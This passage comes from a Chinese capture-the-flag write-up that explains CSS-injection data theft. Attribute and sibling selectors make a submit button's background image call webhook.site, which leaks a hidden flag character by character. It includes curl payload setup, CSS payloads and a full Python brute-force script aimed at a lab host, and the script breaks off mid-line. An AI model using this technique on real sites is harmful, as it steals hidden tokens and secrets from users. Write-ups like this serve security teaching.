</span><span>input</span><span>[</span><span>type</span><span>=</span><span>submit</span><span>]</span><span>{background-image:</span><span>url</span><span><span>(</span><span>https://webhook.site/&lt;uuid&gt;/g/seltest</span><span>)}</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>要发送的payload这样填：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>curl -s -X PUT "https://webhook.site/token/8bd811ec-6830-4dde-85eb-8796f44d24c1" -H "Content-Type: application/json" \</span></div></div><div><div><div>2</div></div><div><span><span>    </span></span><span>-d "{\"default_content\":\"input[type=submit]{background-image:url(https://webhook.site/8bd811ec-6830-4dde-85eb-8796f44d24c1/g/hb)}\</span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>\ninput[value^='te'] ~ input[type=submit]{background-image:url(https://webhook.site/8bd811ec-6830-4dde-85eb-8796f44d24c1/g/seltest)}\",</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>\"default_content_type\":\"text/css\"}"</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>````</span></div></div><div><div><div>6</div></div><div><span>含义：</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span>* 第 1 条：**无条件**让提交按钮的背景图去请求 `/g/hb`（我把它叫**心跳**，用来证明"这轮爬虫确实执行了"）；</span></div></div><div><div><div>9</div></div><div><span>* 第 2 条：**当存在 value 以 `te` 开头的元素时**，让提交按钮的背景图去请求 `/g/seltest`。</span></div></div><div><div><div>10</div></div><div>
</div></div><div><div><div>11</div></div><div><span>因为 `Email` 的 value 是 `test`，以 `te` 开头，所以第 2 条会命中，并且优先级更高，</span></div></div><div><div><div>12</div></div><div><span>把第 1 条的 `background-image` 覆盖掉。</span></div></div><div><div><div>13</div></div><div><span>![2026-09-23_15-48-06.png](/images/uploads/20260923-154848-37569d.png)</span></div></div><div><div><div>14</div></div><div>
</div></div><div><div><div>15</div></div><div><span>实测日志：</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>…/g/seltest        ← 命中了（而不是 /g/hb）</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>一次就同时验证了三件事：**属性选择器能用、兄弟组合器能用、背景图请求能回显**。</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>### 6.2 为什么"隐身的 flag 输入框"不能直接用</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>直觉写法是：</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>```css</span></div></div><div><div><div>8</div></div><div><span>input[name=flag][value^="NSS"]{background-image:url(.../mark)}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>但没用，因为它是 <code>type="hidden"</code>，<code>display: none</code>，<strong>不会被渲染</strong>，
CSS 引擎不会为它下载背景图。</p></section><section><h3>6.3 正确姿势：用兄弟选择器把条件打到提交按钮上<a href="#63-正确姿势用兄弟选择器把条件打到提交按钮上"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>input</span><span>[</span><span>type</span><span>=</span><span>hidden</span><span>][</span><span>value</span><span>^=</span><span>"NSS"</span><span>] </span><span>~</span><span> </span><span>input</span><span>[</span><span>type</span><span>=</span><span>submit</span><span>]</span><span> {</span></div></div><div><div><div>2</div></div><div><span><span>    </span></span><span>background-image: </span><span>url</span><span>(</span><span>"https://webhook.site/&lt;uuid&gt;/g/&lt;标记&gt;"</span><span>);</span></div></div><div><div><div>3</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>读法是：</p><blockquote><p>“<strong>如果</strong>存在一个隐藏输入框，它的 value 以 <code>NSS</code> 开头，
<strong>那么</strong>把<strong>它后面的那个提交按钮</strong>（一个真实可见、会被渲染的元素）的背景图设成这个 URL。”</p></blockquote><p>选择器只是在”判断条件”，真正发请求的是被选中的<strong>可见按钮</strong> —— 这就是绕开 <code>display:none</code> 的关键。</p></section><section><h3>6.4 一轮同时试一整个字符集<a href="#64-一轮同时试一整个字符集"><span>#</span></a></h3><p>如果一次只试一个字符，44 个字符 × 95 个候选 = 4180 次抓取，太慢了。
技巧是：<strong>一次把整个字符集都写进去，每个候选配一个不同的 URL</strong>：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>/* 心跳：没猜中任何字符时它会生效，用来判断"到结尾了" */</span></div></div><div><div><div>2</div></div><div><span>input</span><span>[</span><span>type</span><span>=</span><span>hidden</span><span>] </span><span>~</span><span> </span><span>input</span><span>[</span><span>type</span><span>=</span><span>submit</span><span>]</span><span>{</span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>background-image:</span><span>url</span><span>(</span><span>"https://webhook.site/&lt;uuid&gt;/g/0/hb"</span><span>)</span></div></div><div><div><div>4</div></div><div><span>}</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>/* 候选：一次列出所有可能的下一个字符 */</span></div></div><div><div><div>7</div></div><div><span>input</span><span>[</span><span>type</span><span>=</span><span>hidden</span><span>][</span><span>value</span><span>^=</span><span>"NSSCTF{dda"</span><span>]</span><span>~</span><span>input</span><span>[</span><span>type</span><span>=</span><span>submit</span><span>]</span><span>{</span></div></div><div><div><div>8</div></div><div><span><span>    </span></span><span>background-image:</span><span>url</span><span>(</span><span>"https://webhook.site/&lt;uuid&gt;/g/0/61"</span><span>)}   </span><span>/* 字符 a */</span></div></div><div><div><div>9</div></div><div><span>input</span><span>[</span><span>type</span><span>=</span><span>hidden</span><span>][</span><span>value</span><span>^=</span><span>"NSSCTF{ddb"</span><span>]</span><span>~</span><span>input</span><span>[</span><span>type</span><span>=</span><span>submit</span><span>]</span><span>{</span></div></div><div><div><div>10</div></div><div><span><span>    </span></span><span>background-image:</span><span>url</span><span>(</span><span>"https://webhook.site/&lt;uuid&gt;/g/0/62"</span><span>)}   </span><span>/* 字符 b */</span></div></div><div><div><div>11</div></div><div><span>input</span><span>[</span><span>type</span><span>=</span><span>hidden</span><span>][</span><span>value</span><span>^=</span><span>"NSSCTF{ddc"</span><span>]</span><span>~</span><span>input</span><span>[</span><span>type</span><span>=</span><span>submit</span><span>]</span><span>{</span></div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>background-image:</span><span>url</span><span>(</span><span>"https://webhook.site/&lt;uuid&gt;/g/0/63"</span><span>)}   </span><span>/* 字符 c */</span></div></div><div><div><div>13</div></div><div><span>/* ... 一直到字符集里的最后一个字符 ... */</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>为什么”一轮就能得到答案”？两个理由：</p><ol>
<li><strong>前缀唯一性</strong>：<code>value</code> 是一个确定的字符串，所以在”已知前缀”固定的情况下，
<strong>最多只有一个候选</strong>能让 <code>[value^="前缀+候选"]</code> 成立（比如真实下一位是 <code>5</code>，那就只有试 <code>5</code> 的那条会命中）。</li>
<li><strong>覆盖关系</strong>：所有命中的规则都想设置同一个属性 <code>background-image</code>，
最后生效的一定是<strong>优先级最高的那一条</strong>。候选规则 <code>(0,3,2)</code> 比心跳规则 <code>(0,2,2)</code> 高，
所以只要命中候选，就一定是候选的 URL 被请求；如果一条候选都没命中，才会去请求 <code>/hb</code>。</li>
</ol><p>于是每轮抓取的日志只会有两种结果之一：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>/g/&lt;轮次&gt;/&lt;候选字符的十六进制&gt;   → 该位就是这个字符</span></div></div><div><div><div>2</div></div><div><span>/g/&lt;轮次&gt;/hb                    → 该位没有任何候选匹配（说明 flag 已经结束）</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>这样一来，<strong>一次抓取泄露一个字符</strong>，44 次左右就够（实测总共不到 50 轮）。</p><hr /></section></section>
<section><h2>7. 把单字符爆破跑起来<a href="#7-把单字符爆破跑起来"><span>#</span></a></h2><p>人工一轮一轮发请求太累，直接脚本化。整体流程：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>已知前缀 prefix = ""</span></div></div><div><div><div>2</div></div><div><span>循环：</span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>1. 用 prefix + 字符集 生成整份 CSS</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>2. PUT 到 webhook.site（更新默认响应）</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>3. POST /crawl.html，css=https://webhook.site/&lt;uuid&gt;/c&lt;轮次&gt;a&lt;尝试号&gt;</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>4. 轮询 /token/&lt;uuid&gt;/requests，看有没有 .../g/&lt;轮次&gt;/xxx</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>5. 拿到单字符 → 追加到 prefix；若拿到 hb 或拿到 "}" → 结束</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>几个工程上的设计（<strong>这些是本题最容易翻车的地方</strong>）：</p>

<table><thead><tr><th>设计</th><th>原因</th></tr></thead><tbody><tr><td>每轮 URL 都带轮次号 <code>/g/&lt;轮次&gt;/&lt;hex&gt;</code></td><td>避免上一轮的迟到回调污染这一轮的判断</td></tr><tr><td>每次抓取的样式表地址也带唯一标记 <code>/c&lt;轮次&gt;a&lt;尝试号&gt;</code></td><td>可以从日志判断”爬虫到底有没有真的执行”，区分”爬虫没跑”和”没猜中”</td></tr><tr><td>候选字符用十六进制当路径（<code>a</code> → <code>61</code>）</td><td>避免特殊字符出现在 URL 路径里</td></tr><tr><td>用 CSS 十六进制转义 <code>\61 </code> 表示字符</td><td>兼容 <code>"</code>、<code>\</code>、换行等”不好写进 CSS 字符串”的字符</td></tr><tr><td>配额耗尽自动换 token</td><td>webhook.site 免费 token 有请求上限（见 10.3）</td></tr><tr><td>失败自动重试</td><td>靶机偶发丢回显（见 10.4）</td></tr></tbody></table><hr /></section>
<section><h2>8. 完整脚本与逐行讲解<a href="#8-完整脚本与逐行讲解"><span>#</span></a></h2><p>脚本保存为<code>solve.py</code>（Windows 下直接 <code>python solve.py "&lt;已知前缀&gt;"</code> 续跑）。</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>import</span><span> json</span></div></div><div><div><div>2</div></div><div><span>import</span><span> sys</span></div></div><div><div><div>3</div></div><div><span>import</span><span> time</span></div></div><div><div><div>4</div></div><div><span>import</span><span> urllib.parse</span></div></div><div><div><div>5</div></div><div><span>import</span><span> urllib.request</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span><span>BASE</span><span> </span><span>=</span><span> </span></span><span>"https://webhook.site"</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span># 靶机地址：实例换端口了，只改这一行</span></div></div><div><div><div>10</div></div><div><span><span>TARGET</span><span> </span><span>=</span><span> </span></span><span>"http://node4.anna.nssctf.cn:27550/crawl.html"</span></div></div><div><div><div>11</div></div><div>
</div></div><div><div><div>12</div></div><div><span># 两次抓取之间至少间隔多少秒。这是"保命"参数，别调小：</span></div></div><div><div><div>13</div></div><div><span># 每次抓取都会启动一个无头 Chrome，连发会把靶机容器打爆 → 实例重启 → 端口变。</span></div></div><div><div><div>14</div></div><div><span><span>MIN_CRAWL_INTERVAL</span><span> </span><span>=</span><span> </span></span><span>12</span></div></div><div><div><div>15</div></div><div>
</div></div><div><div><div>16</div></div><div><span><span>_last_crawl </span><span>=</span><span> [</span></span><span>0.0</span><span>]</span></div></div><div><div><div>17</div></div><div>
</div></div><div><div><div>18</div></div><div>
</div></div><div><div><div>19</div></div><div><span>def</span><span> </span><span>http</span><span>(</span><span>url</span><span>,</span><span><span> </span><span>data</span></span><span>=</span><span>None</span><span>,</span><span><span> </span><span>method</span></span><span>=</span><span>"GET"</span><span>,</span><span><span> </span><span>headers</span></span><span>=</span><span>None</span><span>,</span><span><span> </span><span>timeout</span></span><span>=</span><span>30</span><span>):</span></div></div><div><div><div>20</div></div><div><span><span>    </span></span><span>req </span><span>=</span><span> urllib.request.</span><span>Request</span><span>(url, </span><span>data</span><span><span>=</span><span>data, </span></span><span>method</span><span><span>=</span><span>method)</span></span></div></div><div><div><div>21</div></div><div><span>    </span><span>for</span><span> k, v </span><span>in</span><span> (headers </span><span>or</span><span><span> {}).</span><span>items</span><span>():</span></span></div></div><div><div><div>22</div></div><div><span><span>        </span></span><span>req.</span><span>add_header</span><span>(k, v)</span></div></div><div><div><div>23</div></div><div><span>    </span><span>with</span><span><span> urllib.request.</span><span>urlopen</span><span>(req, </span></span><span>timeout</span><span><span>=</span><span>timeout) </span></span><span>as</span><span> r:</span></div></div><div><div><div>24</div></div><div><span>        </span><span>return</span><span><span> r.</span><span>read</span><span>().</span><span>decode</span><span>(</span></span><span>"utf-8"</span><span>, </span><span>"replace"</span><span>)</span></div></div><div><div><div>25</div></div><div>
</div></div><div><div><div>26</div></div><div>
</div></div><div><div><div>27</div></div><div><span>class</span><span><span> </span><span>Exfil</span></span><span>:</span></div></div><div><div><div>28</div></div><div><span>    </span><span>"""管理 webhook.site 的 token：设置 CSS 内容 + 读取请求日志。"""</span></div></div><div><div><div>29</div></div><div>
</div></div><div><div><div>30</div></div><div><span>    </span><span>def</span><span> </span><span>__init__</span><span>(</span><span>self</span><span>,</span><span><span> </span><span>log</span></span><span>=</span><span>print</span><span>):</span></div></div><div><div><div>31</div></div><div><span>        </span><span>self</span><span><span>.log </span><span>=</span><span> log</span></span></div></div><div><div><div>32</div></div><div><span>        </span><span>self</span><span><span>.</span><span>new_token</span><span>()</span></span></div></div><div><div><div>33</div></div><div>
</div></div><div><div><div>34</div></div><div><span>    </span><span>def</span><span> </span><span>new_token</span><span>(</span><span>self</span><span>):</span></div></div><div><div><div>35</div></div><div><span>        </span><span># 免费 token 有请求配额（每次抓取消耗 2 次），用满就换一个</span></div></div><div><div><div>36</div></div><div><span>        </span><span>self</span><span><span>.token </span><span>=</span><span> json.</span><span>loads</span><span>(</span><span>http</span><span>(</span></span><span>f</span><span>"</span><span>{</span><span>BASE</span><span>}</span><span>/token"</span><span>, </span><span>data</span><span>=</span><span>b</span><span>""</span><span>, </span><span>method</span><span>=</span><span>"POST"</span><span>))[</span><span>"uuid"</span><span>]</span></div></div><div><div><div>37</div></div><div><span>        </span><span>self</span><span><span>.</span><span>log</span><span>(</span></span><span>f</span><span>"[token] </span><span>{</span><span>self</span><span>.token</span><span>}</span><span>"</span><span>)</span></div></div><div><div><div>38</div></div><div>
</div></div><div><div><div>39</div></div><div><span><span>    </span></span><span>@</span><span>property</span></div></div><div><div><div>40</div></div><div><span>    </span><span>def</span><span> </span><span>css_url</span><span>(</span><span>self</span><span>):</span></div></div><div><div><div>41</div></div><div><span>        </span><span>return</span><span> </span><span>f</span><span>"</span><span>{</span><span>BASE</span><span>}</span><span>/</span><span>{</span><span>self</span><span>.token</span><span>}</span><span>"</span></div></div><div><div><div>42</div></div><div>
</div></div><div><div><div>43</div></div><div><span>    </span><span>def</span><span> </span><span>set_css</span><span>(</span><span>self</span><span>,</span><span><span> </span><span>content</span></span><span>):</span></div></div><div><div><div>44</div></div><div><span>        </span><span># 默认响应 = 我们的 CSS，MIME 必须是 text/css，否则浏览器不认</span></div></div><div><div><div>45</div></div><div><span><span>        </span></span><span>body </span><span>=</span><span> json.</span><span>dumps</span><span>(</span></div></div><div><div><div>46</div></div><div><span><span>            </span></span><span>{</span><span>"default_content"</span><span>: content, </span><span>"default_content_type"</span><span>: </span><span>"text/css"</span><span>}</span></div></div><div><div><div>47</div></div><div><span><span>        </span></span><span>).</span><span>encode</span><span>()</span></div></div><div><div><div>48</div></div><div><span><span>        </span></span><span>http</span><span>(</span></div></div><div><div><div>49</div></div><div><span>            </span><span>f</span><span>"</span><span>{</span><span>BASE</span><span>}</span><span>/token/</span><span>{</span><span>self</span><span>.token</span><span>}</span><span>"</span><span>,</span></div></div><div><div><div>50</div></div><div><span>            </span><span>data</span><span><span>=</span><span>body,</span></span></div></div><div><div><div>51</div></div><div><span>            </span><span>method</span><span>=</span><span>"PUT"</span><span>,</span></div></div><div><div><div>52</div></div><div><span>            </span><span>headers</span><span><span>=</span><span>{</span></span><span>"Content-Type"</span><span>: </span><span>"application/json"</span><span>},</span></div></div><div><div><div>53</div></div><div><span><span>        </span></span><span>)</span></div></div><div><div><div>54</div></div><div>
</div></div><div><div><div>55</div></div><div><span>    </span><span>def</span><span> </span><span>urls</span><span>(</span><span>self</span><span>):</span></div></div><div><div><div>56</div></div><div><span>        </span><span>try</span><span>:</span></div></div><div><div><div>57</div></div><div><span><span>            </span></span><span>raw </span><span>=</span><span> </span><span>http</span><span>(</span><span>f</span><span>"</span><span>{</span><span>BASE</span><span>}</span><span>/token/</span><span>{</span><span>self</span><span>.token</span><span>}</span><span>/requests?sorting=newest&amp;per_page=100"</span><span>)</span></div></div><div><div><div>58</div></div><div><span>            </span><span>return</span><span><span> [i.</span><span>get</span><span>(</span></span><span>"url"</span><span>, </span><span>""</span><span>) </span><span>for</span><span> i </span><span>in</span><span><span> json.</span><span>loads</span><span>(raw).</span><span>get</span><span>(</span></span><span>"data"</span><span>, [])]</span></div></div><div><div><div>59</div></div><div><span>        </span><span>except</span><span> </span><span>Exception</span><span>:</span></div></div><div><div><div>60</div></div><div><span>            </span><span>return</span><span> []</span></div></div><div><div><div>61</div></div><div>
</div></div><div><div><div>62</div></div><div>
</div></div><div><div><div>63</div></div><div><span>def</span><span> </span><span>crawl</span><span>(</span><span>css_url</span><span>):</span></div></div><div><div><div>64</div></div><div><span>    </span><span>"""让靶机抓取。带全局最小间隔，保证不会两次抓取叠在一起。"""</span></div></div><div><div><div>65</div></div><div><span><span>    </span></span><span>wait </span><span>=</span><span> </span><span>MIN_CRAWL_INTERVAL</span><span> </span><span>-</span><span> (time.</span><span>time</span><span>() </span><span>-</span><span> _last_crawl[</span><span>0</span><span>])</span></div></div><div><div><div>66</div></div><div><span>    </span><span>if</span><span><span> wait </span><span>&gt;</span><span> </span></span><span>0</span><span>:</span></div></div><div><div><div>67</div></div><div><span><span>        </span></span><span>time.</span><span>sleep</span><span>(wait)</span></div></div><div><div><div>68</div></div><div><span><span>    </span></span><span>_last_crawl[</span><span>0</span><span><span>] </span><span>=</span><span> time.</span><span>time</span><span>()</span></span></div></div><div><div><div>69</div></div><div><span><span>    </span></span><span>body </span><span>=</span><span> urllib.parse.</span><span>urlencode</span><span>({</span><span>"css"</span><span><span>: css_url}).</span><span>encode</span><span>()</span></span></div></div><div><div><div>70</div></div><div><span>    </span><span>return</span><span><span> </span><span>http</span><span>(</span><span>TARGET</span><span>, </span></span><span>data</span><span><span>=</span><span>body, </span></span><span>method</span><span>=</span><span>"POST"</span><span>)</span></div></div><div><div><div>71</div></div><div>
</div></div><div><div><div>72</div></div><div>
</div></div><div><div><div>73</div></div><div><span>def</span><span> </span><span>build_css</span><span>(</span><span>track</span><span>,</span><span><span> </span><span>step</span></span><span>,</span><span><span> </span><span>prefix</span></span><span>,</span><span><span> </span><span>charset</span></span><span>):</span></div></div><div><div><div>74</div></div><div><span>    </span><span>"""一轮的 CSS：1 条心跳 + 每个候选字符 1 条规则（一次抓取试完整个字符集）。"""</span></div></div><div><div><div>75</div></div><div>
</div></div><div><div><div>76</div></div><div><span>    </span><span>def</span><span> </span><span>esc</span><span>(</span><span>s</span><span>):</span></div></div><div><div><div>77</div></div><div><span>        </span><span># CSS 十六进制转义（\61 = 'a'），引号/反斜杠/换行也能安全写进选择器</span></div></div><div><div><div>78</div></div><div><span>        </span><span>return</span><span> </span><span>""</span><span><span>.</span><span>join</span><span>(</span></span><span>f</span><span>"</span><span>\\</span><span>{</span><span>ord</span><span>(c)</span><span>:x</span><span>}</span><span> "</span><span> </span><span>for</span><span> c </span><span>in</span><span> s)</span></div></div><div><div><div>79</div></div><div>
</div></div><div><div><div>80</div></div><div><span><span>    </span></span><span>lines </span><span>=</span><span> [</span></div></div><div><div><div>81</div></div><div><span>        </span><span>f</span><span>'input[type=hidden]~input[type=submit]'</span></div></div><div><div><div>82</div></div><div><span>        </span><span>f</span><span>'</span><span>{{</span><span>background-image:url("</span><span>{</span><span>track</span><span>}</span><span>/</span><span>{</span><span>step</span><span>}</span><span>/hb")</span><span>}}</span><span>'</span></div></div><div><div><div>83</div></div><div><span><span>    </span></span><span>]</span></div></div><div><div><div>84</div></div><div><span>    </span><span>for</span><span> ch </span><span>in</span><span> charset:</span></div></div><div><div><div>85</div></div><div><span><span>        </span></span><span>code </span><span>=</span><span> </span><span>format</span><span>(</span><span>ord</span><span>(ch), </span><span>"x"</span><span>)</span></div></div><div><div><div>86</div></div><div><span><span>        </span></span><span>lines.</span><span>append</span><span>(</span></div></div><div><div><div>87</div></div><div><span>            </span><span>f</span><span>'input[type=hidden][value^="</span><span>{</span><span><span>esc</span><span>(prefix </span><span>+</span><span> ch)</span></span><span>}</span><span>"]~input[type=submit]'</span></div></div><div><div><div>88</div></div><div><span>            </span><span>f</span><span>'</span><span>{{</span><span>background-image:url("</span><span>{</span><span>track</span><span>}</span><span>/</span><span>{</span><span>step</span><span>}</span><span>/</span><span>{</span><span>code</span><span>}</span><span>")</span><span>}}</span><span>'</span></div></div><div><div><div>89</div></div><div><span><span>        </span></span><span>)</span></div></div><div><div><div>90</div></div><div><span>    </span><span>return</span><span> </span><span>"</span><span>\n</span><span>"</span><span><span>.</span><span>join</span><span>(lines)</span></span></div></div><div><div><div>91</div></div><div>
</div></div><div><div><div>92</div></div><div>
</div></div><div><div><div>93</div></div><div><span>def</span><span> </span><span>probe</span><span>(</span><span>exfil</span><span>,</span><span><span> </span><span>step</span></span><span>,</span><span><span> </span><span>prefix</span></span><span>,</span><span><span> </span><span>charset</span></span><span>,</span><span><span> </span><span>log</span></span><span>=</span><span>print</span><span>):</span></div></div><div><div><div>94</div></div><div><span>    </span><span>"""猜一位：一次抓取，等 90 秒；真的没反应才再试一次（仍受 12 秒间隔约束）。"""</span></div></div><div><div><div>95</div></div><div><span>    </span><span>for</span><span> attempt </span><span>in</span><span> </span><span>range</span><span>(</span><span>2</span><span>):</span></div></div><div><div><div>96</div></div><div><span><span>        </span></span><span>track </span><span>=</span><span> </span><span>f</span><span>"</span><span>{</span><span>BASE</span><span>}</span><span>/</span><span>{</span><span>exfil.token</span><span>}</span><span>/g"</span></div></div><div><div><div>97</div></div><div><span><span>        </span></span><span>css </span><span>=</span><span> </span><span>build_css</span><span>(track, step, prefix, charset)</span></div></div><div><div><div>98</div></div><div><span><span>        </span></span><span>marker </span><span>=</span><span> </span><span>f</span><span>"c</span><span>{</span><span>step</span><span>}</span><span>a</span><span>{</span><span>attempt</span><span>}</span><span>"</span></div></div><div><div><div>99</div></div><div><span><span>        </span></span><span>exfil.</span><span>set_css</span><span>(css)</span></div></div><div><div><div>100</div></div><div><span><span>        </span></span><span>crawl</span><span>(</span><span>f</span><span>"</span><span>{</span><span>exfil.css_url</span><span>}</span><span>/</span><span>{</span><span>marker</span><span>}</span><span>"</span><span>)</span></div></div><div><div><div>101</div></div><div>
</div></div><div><div><div>102</div></div><div><span><span>        </span></span><span>hits, loaded </span><span>=</span><span> </span><span>set</span><span>(), </span><span>False</span></div></div><div><div><div>103</div></div><div><span>        </span><span>for</span><span> _ </span><span>in</span><span> </span><span>range</span><span>(</span><span>18</span><span>):          </span><span># 18 × 5s = 90 秒</span></div></div><div><div><div>104</div></div><div><span><span>            </span></span><span>time.</span><span>sleep</span><span>(</span><span>5</span><span>)</span></div></div><div><div><div>105</div></div><div><span>            </span><span>for</span><span> url </span><span>in</span><span><span> exfil.</span><span>urls</span><span>():</span></span></div></div><div><div><div>106</div></div><div><span>                </span><span>if</span><span> </span><span>f</span><span>"/g/</span><span>{</span><span>step</span><span>}</span><span>/"</span><span> </span><span>in</span><span> url:</span></div></div><div><div><div>107</div></div><div><span><span>                    </span></span><span>hits.</span><span>add</span><span>(url.</span><span>rsplit</span><span>(</span><span>"/"</span><span>, </span><span>1</span><span><span>)[</span><span>-</span></span><span>1</span><span>])</span></div></div><div><div><div>108</div></div><div><span>                </span><span>if</span><span><span> url.</span><span>endswith</span><span>(</span></span><span>f</span><span>"/</span><span>{</span><span>marker</span><span>}</span><span>"</span><span>):</span></div></div><div><div><div>109</div></div><div><span><span>                    </span></span><span>loaded </span><span>=</span><span> </span><span>True</span></div></div><div><div><div>110</div></div><div><span>            </span><span>if</span><span> hits:</span></div></div><div><div><div>111</div></div><div><span>                </span><span>return</span><span> hits</span></div></div><div><div><div>112</div></div><div><span><span>        </span></span><span>log</span><span>(</span><span>f</span><span>"  step </span><span>{</span><span>step</span><span>}</span><span> attempt </span><span>{</span><span>attempt</span><span>}</span><span>: loaded=</span><span>{</span><span>loaded</span><span>}</span><span> hits=</span><span>{</span><span>hits</span><span>}</span><span>"</span><span>)</span></div></div><div><div><div>113</div></div><div><span>        </span><span>if</span><span> </span><span>not</span><span> loaded:</span></div></div><div><div><div>114</div></div><div><span><span>            </span></span><span>exfil.</span><span>new_token</span><span>()        </span><span># 样式表都没被拉取 → 多半是 token 配额用满</span></div></div><div><div><div>115</div></div><div><span>    </span><span>return</span><span> </span><span>set</span><span>()</span></div></div><div><div><div>116</div></div><div>
</div></div><div><div><div>117</div></div><div>
</div></div><div><div><div>118</div></div><div><span>def</span><span> </span><span>main</span><span>():</span></div></div><div><div><div>119</div></div><div><span>    </span><span># flag 每个实例都不一样（动态生成），所以不做任何跨实例缓存：</span></div></div><div><div><div>120</div></div><div><span>    </span><span># 每次启动都从空前缀开始爆破；只有你显式传参时才用你给的前缀。</span></div></div><div><div><div>121</div></div><div><span><span>    </span></span><span>prefix </span><span>=</span><span> </span><span>""</span></div></div><div><div><div>122</div></div><div><span>    </span><span>if</span><span> </span><span>len</span><span><span>(sys.argv) </span><span>&gt;</span><span> </span></span><span>1</span><span>:</span></div></div><div><div><div>123</div></div><div><span><span>        </span></span><span>prefix </span><span>=</span><span> sys.argv[</span><span>1</span><span>]</span></div></div><div><div><div>124</div></div><div><span><span>    </span></span><span>charset </span><span>=</span><span> [</span><span>chr</span><span>(c) </span><span>for</span><span> c </span><span>in</span><span> </span><span>range</span><span>(</span><span>0x</span><span>20</span><span>, </span><span>0x</span><span>7F</span><span><span>)] </span><span>+</span><span> [</span></span><span>"</span><span>\n</span><span>"</span><span>, </span><span>"</span><span>\t</span><span>"</span><span>, </span><span>"</span><span>\r</span><span>"</span><span>, </span><span>"</span><span>\x0b</span><span>"</span><span>, </span><span>"</span><span>\x0c</span><span>"</span><span>]</span></div></div><div><div><div>125</div></div><div>
</div></div><div><div><div>126</div></div><div><span><span>    </span></span><span>exfil </span><span>=</span><span> </span><span>Exfil</span><span>()</span></div></div><div><div><div>127</div></div><div><span>    </span><span>print</span><span>(</span><span>f</span><span>"target: </span><span>{</span><span>TARGET</span><span>}</span><span>"</span><span>)</span></div></div><div><div><div>128</div></div><div><span>    </span><span>print</span><span>(</span><span>f</span><span>"resume prefix: </span><span>{</span><span>prefix</span><span>!r</span><span>}</span><span>"</span><span>, </span><span>flush</span><span>=</span><span>True</span><span>)</span></div></div><div><div><div>129</div></div><div><span>    </span><span>for</span><span> step </span><span>in</span><span> </span><span>range</span><span>(</span><span>len</span><span>(prefix), </span><span>80</span><span>):</span></div></div><div><div><div>130</div></div><div><span><span>        </span></span><span>hits </span><span>=</span><span> </span><span>probe</span><span>(exfil, step, prefix, charset)</span></div></div><div><div><div>131</div></div><div><span>        </span><span>if</span><span> </span><span>not</span><span> hits:</span></div></div><div><div><div>132</div></div><div><span>            </span><span>print</span><span>(</span><span>f</span><span>"stopped: no callback at step </span><span>{</span><span>step</span><span>}</span><span>"</span><span>, </span><span>flush</span><span>=</span><span>True</span><span>)</span></div></div><div><div><div>133</div></div><div><span>            </span><span>break</span></div></div><div><div><div>134</div></div><div><span>        </span><span>if</span><span> </span><span>"hb"</span><span> </span><span>in</span><span> hits:</span></div></div><div><div><div>135</div></div><div><span>            </span><span>print</span><span>(</span><span>f</span><span>"stopped: no candidate matched at pos </span><span>{</span><span>len</span><span>(prefix)</span><span>}</span><span>"</span><span>, </span><span>flush</span><span>=</span><span>True</span><span>)</span></div></div><div><div><div>136</div></div><div><span>            </span><span>break</span></div></div><div><div><div>137</div></div><div><span><span>        </span></span><span>chars </span><span>=</span><span> [</span><span>chr</span><span>(</span><span>int</span><span>(h, </span><span>16</span><span>)) </span><span>for</span><span> h </span><span>in</span><span> hits </span><span>if</span><span><span> h </span><span>!=</span><span> </span></span><span>"hb"</span><span>]</span></div></div><div><div><div>138</div></div><div><span>        </span><span>if</span><span> </span><span>len</span><span><span>(chars) </span><span>!=</span><span> </span></span><span>1</span><span>:</span></div></div><div><div><div>139</div></div><div><span>            </span><span>print</span><span>(</span><span>f</span><span>"ambiguous at step </span><span>{</span><span>step</span><span>}</span><span>: </span><span>{</span><span>chars</span><span>}</span><span>"</span><span>, </span><span>flush</span><span>=</span><span>True</span><span>)</span></div></div><div><div><div>140</div></div><div><span><span>        </span></span><span>ch </span><span>=</span><span> chars[</span><span>0</span><span>]</span></div></div><div><div><div>141</div></div><div><span><span>        </span></span><span>prefix </span><span>+=</span><span> ch</span></div></div><div><div><div>142</div></div><div><span>        </span><span>print</span><span>(</span><span>f</span><span>"[</span><span>{</span><span>step</span><span>}</span><span>] </span><span>{</span><span>prefix</span><span>}</span><span>"</span><span>, </span><span>flush</span><span>=</span><span>True</span><span>)</span></div></div><div><div><div>143</div></div><div><span>        </span><span>if</span><span><span> ch </span><span>==</span><span> </span></span><span>"}"</span><span>:</span></div></div><div><div><div>144</div></div><div><span>            </span><span>print</span><span>(</span><span>"FLAG:"</span><span>, prefix, 